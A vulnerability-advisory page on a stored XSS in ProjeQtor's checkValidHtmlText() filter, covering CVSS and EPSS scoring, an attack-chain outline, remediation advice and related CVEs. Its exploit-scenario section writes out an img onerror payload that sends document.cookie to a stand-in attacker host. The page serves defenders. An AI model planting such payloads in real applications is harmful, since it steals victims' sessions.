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ProjeQtor CVE-2026-41466

| EUVDEUVD-2026-25869 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-27 VulnCheck
5.1
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with low-privilege ProjeQtor account
  2. Delivery
    Craft img/event-handler XSS payload in rich-text input field
  3. Exploit
    Submit payload, bypassing checkValidHtmlText() pattern filter
  4. Install
    Payload persists in ProjeQtor database
  5. C2
    Victim user navigates to affected project record
  6. Execute
    Malicious script executes in victim browser
  7. Impact
    Exfiltrate session cookie or perform authenticated actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid authenticated ProjeQtor account with at least low-level privileges sufficient to submit input to rich-text fields processed by checkValidHtmlText() in Security.php (CVSS PR:L). A victim user must passively navigate to the page containing the stored payload for execution to occur (CVSS UI:P - passive interaction, not an active click-through required). No special server configuration, non-default feature enablement, or specific deployment mode is required - the flaw exists in the core sanitization function present across all versions 7.0 through 12.4.3. Exploitation is constrained to impact on the victim's browser session (subsequent-system scope); direct server-side compromise is not achievable via this vector. SSVC confirms the attack is not automatable, requiring the victim to organically view injected content.

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) correctly captures the medium-severity profile: network-reachable, low complexity, but gated by authenticated access (PR:L) and passive victim interaction (UI:P), with impact limited to subsequent-system scope (victim browser). EPSS at 0.03% places this in the 9th percentile - well below thresholds that would indicate automated or widespread exploitation. SSVC reinforces this: exploitation is assessed as poc-only, not automatable, and technical impact is partial, meaning no server-side compromise is achievable through this vector alone. The existence of public researcher write-ups (damiri.fr, gryfman.fr) lowers attacker barrier but does not by itself indicate active campaigns. The key realistic risk is session cookie theft or privilege escalation within the ProjeQtor application for organizations where untrusted users hold accounts - elevated concern in multi-tenant or customer-facing deployments. Absent KEV confirmation, this is a real but non-emergency patching priority.

Exploit ScenarioDerived

An authenticated ProjeQtor user with a low-privileged account submits a project note or task description containing <img src=x onerror=fetch('https://attacker.example/c?'+document.cookie)>, which bypasses checkValidHtmlText() because the function's pattern set does not cover img event handlers. The payload is persisted to the database and silently fires in the browsers of all subsequent users - including project managers and administrators - who navigate to the affected record, enabling session token exfiltration or further phishing. A public proof-of-concept exists, lowering the technical bar for this attack.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Jul 24, 2026

Stored cross-site scripting in ProjeQtor 7.0 through 12.4.3 enables authenticated users to inject persistent malicious HTML payloads that execute in the browsers of other users viewing the affected content. The root cause is an incomplete pattern-based allowlist in the checkValidHtmlText() function within Security.php, which detects only specific dangerous constructs and returns unsanitized input without output encoding, allowing bypass via alternative syntax such as <img> tags with event handlers. No active exploitation has been confirmed in CISA KEV; however, a public proof-of-concept is available per VulnCheck, and EPSS at 0.03% (9th percentile) indicates low current automated exploitation activity.

RemediationAI

Upgrade ProjeQtor to a version released after 12.4.3 once a vendor-patched build is available; no specific fixed version number has been confirmed in the available data at time of analysis, and administrators should verify the current release status directly at https://www.projeqtor.com before planning upgrades. As an immediate compensating control, restrict or disable rich HTML input capabilities for low-privileged or untrusted user roles within ProjeQtor - reducing the set of users who can submit content to checkValidHtmlText()-processed fields directly limits the attacker pool, though this may restrict legitimate formatting features. Deploying a strict Content Security Policy (CSP) header that disallows inline script execution (e.g., script-src 'self') on the ProjeQtor web server would prevent injected event-handler payloads from executing even if stored, though this requires compatibility testing with ProjeQtor's own JavaScript. Network-layer WAF rules targeting onerror, onload, and similar HTML event-handler patterns in POST bodies can provide an additional detection layer but should not be treated as a primary control given the ease of encoding bypass.

Affected VersionsENISA

Projeqtor 7.0 ≤12.4.3

Affected Packages

euvd projeqtor no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ProjeQtor is a PHP-based open-source project management application. The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests in Security.php within the checkValidHtmlText() function, which employs a blocklist-style pattern-detection approach rather than a strict allowlist or context-aware output encoding. When user-submitted input does not match the targeted dangerous patterns, the function returns the raw, unencoded string directly to the rendering layer, enabling stored payloads to persist and execute in victim browsers. CPE cpe:2.3:a:projeqtor:projeqtor:*:*:*:*:*:*:*:* spans all affected versions from 7.0 to 12.4.3. The bypass technique specifically leverages HTML elements such as <img> with onerror or similar event-handler attributes, which the filter does not enumerate.

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Severity by source

NVD PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-reachable stored XSS requiring authenticated submission (PR:L), victim browser interaction (UI:R), scope change to browser context (S:C), limited confidentiality and integrity impact; no server-side impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
PoC Detected
Apr 27, 2026 - 18:35 vuln.today
Public exploit code
CVSS changed
Apr 27, 2026 - 16:22 NVD
5.4 (MEDIUM) 5.1 (MEDIUM)
CVE Published
Apr 27, 2026 - 15:11 nvd
MEDIUM 5.1

DescriptionCVE.org

ProjeQtor versions 7.0 through 12.4.3 contain a stored cross-site scripting vulnerability in the checkValidHtmlText() function within Security.php that fails to properly sanitize user input by only detecting specific patterns while returning unsanitized strings without output encoding. Attackers can inject malicious payloads that bypass the filter using alternative syntax such as img tags with event handlers, which are stored and executed in the browsers of users viewing the affected content.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Prevalence
Low
niche open-source PHP project management tool
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-41462 CRITICAL POC
9.3 Apr 27

SQL injection in ProjeQtor's login endpoint lets unauthenticated remote attackers inject arbitrary SQL through the usern

CVE-2024-29387 HIGH POC
8.8 Apr 04

projeqtor up to 11.2.0 was discovered to contain a remote code execution (RCE) vulnerability via the component /view/pri

CVE-2018-18924 HIGH POC
8.8 Nov 04

The image-upload feature in ProjeQtOr 7.2.5 allows remote attackers to execute arbitrary code by uploading a .shtml file

CVE-2026-41463 HIGH POC
8.7 Apr 27

Remote code execution in ProjeQtor 7.0 through 12.4.3 arises from a ZipSlip flaw in the plugin upload feature, where aut

CVE-2013-6164 HIGH POC
7.5 Nov 14

SQL injection vulnerability in view/objectDetail.php in Project'Or RIA 3.4.0 allows remote attackers to execute arbitrar

CVE-2026-41465 HIGH POC
7.1 Apr 27

Arbitrary file disclosure in ProjeQtor 7.0 through 12.4.3 allows authenticated attackers to read .log files anywhere on

CVE-2026-41464 HIGH POC
7.1 Apr 27

Sensitive data disclosure in ProjeQtor 7.0 through 12.4.3 lets an authenticated guest-level user retrieve other users' r

CVE-2024-29386 MEDIUM POC
5.4 Apr 04

projeqtor up to 11.2.0 was discovered to contain a SQL injection vulnerability via the component /view/criticalResourceE

CVE-2026-41467 MEDIUM POC
5.1 Apr 27

Stored cross-site scripting in ProjeQtor 7.0 through 12.4.3 allows authenticated attackers to upload HTML or HTM files v

CVE-2017-11760 HIGH
8.8 Jul 31

uploadImage.php in ProjeQtOr before 6.3.2 allows remote authenticated users to execute arbitrary PHP code by uploading a

CVE-2013-6163 MEDIUM POC
4.3 Nov 14

Multiple cross-site scripting (XSS) vulnerabilities in ProjeQtOr (formerly Project'Or RIA) before 4.0.0 allow remote att

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